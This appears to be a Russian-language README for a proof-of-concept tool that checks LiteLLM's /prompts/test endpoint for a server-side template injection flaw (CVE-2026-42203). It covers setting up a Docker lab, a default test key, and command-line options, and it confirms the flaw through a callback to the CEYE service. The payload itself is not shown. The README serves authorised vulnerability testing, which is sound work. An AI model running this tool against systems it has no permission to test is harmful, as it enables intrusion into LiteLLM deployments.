
Эксплойт proof-of-concept для CVE-2026-42203, уязвимости SSTI в конечной точке /prompts/test в LiteLLM, с проверкой обратного вызова CEYE для авторизованного тестирования.
В этой статье объясняется, как запустить локальную среду LiteLLM и выполнить CVE-2026-42203.py для проверки уязвимости SSTI /prompts/test.
Используйте только в локальной тестовой среде, на которую у вас есть разрешение. Не направляйте скрипт на неавторизованные общедоступные цели.
Перейдите в каталог Lab и запустите LiteLLM, Postgres и Prometheus:
docker compose up -d
Проверьте состояние контейнеров:
docker compose ps
Убедитесь, что сервис доступен:
curl http://127.0.0.1:4000/
Master_Key по умолчанию: sk-master-test-key-1234
Передайте через аргументы командной строки:
python3 cve_2026_42203_litellm_prompts_test_ssti.py \
--auth 'sk-local-test-key' \
--ceye-domain 'your-id.ceye.io' \
--ceye-token 'your-ceye-api-token'
Значение переменных:
LITELLM_API_KEY: ключ доступа к LiteLLM, в локальной среде Docker обычно соответствует LITELLM_MASTER_KEY в .env.CEYE_DOMAIN: ваш поддомен CEYE, например xxxxxx.ceye.io.CEYE_TOKEN: ваш API-токен CEYE, используется для запроса записей обратного вызова.Полный пример:
python3 cve_2026_42203_litellm_prompts_test_ssti.py \
--target http://127.0.0.1:4000 \
--auth 'sk-local-test-key' \
--ceye-domain 'your-id.ceye.io' \
--ceye-token 'your-ceye-api-token'
Ключевые параметры:
--target: адрес сервиса LiteLLM, по умолчанию http://127.0.0.1:4000.--auth / --api-key: ключ LiteLLM, используемый для вызова /prompts/test.--ceye-domain: домен обратного вызова CEYE.--ceye-token: токен API CEYE. При выводе скрипт автоматически скрывает чувствительные данные.--wait: время ожидания обратного вызова CEYE в секундах, по умолчанию 20.--interval: интервал опроса записей CEYE в секундах, по умолчанию 3.--timeout: таймаут HTTP-запроса, по умолчанию 10 секунд.--insecure: добавьте этот параметр, если цель использует самоподписанный сертификат HTTPS, чтобы отключить проверку сертификата TLS.Если CEYE получит обратный вызов, скрипт выведет:
[VULNERABLE] CEYE received the callback request.
Если в течение времени ожидания обратный вызов не получен, скрипт выведет:
[NOT_VULNERABLE] CEYE did not receive the callback request within the wait window.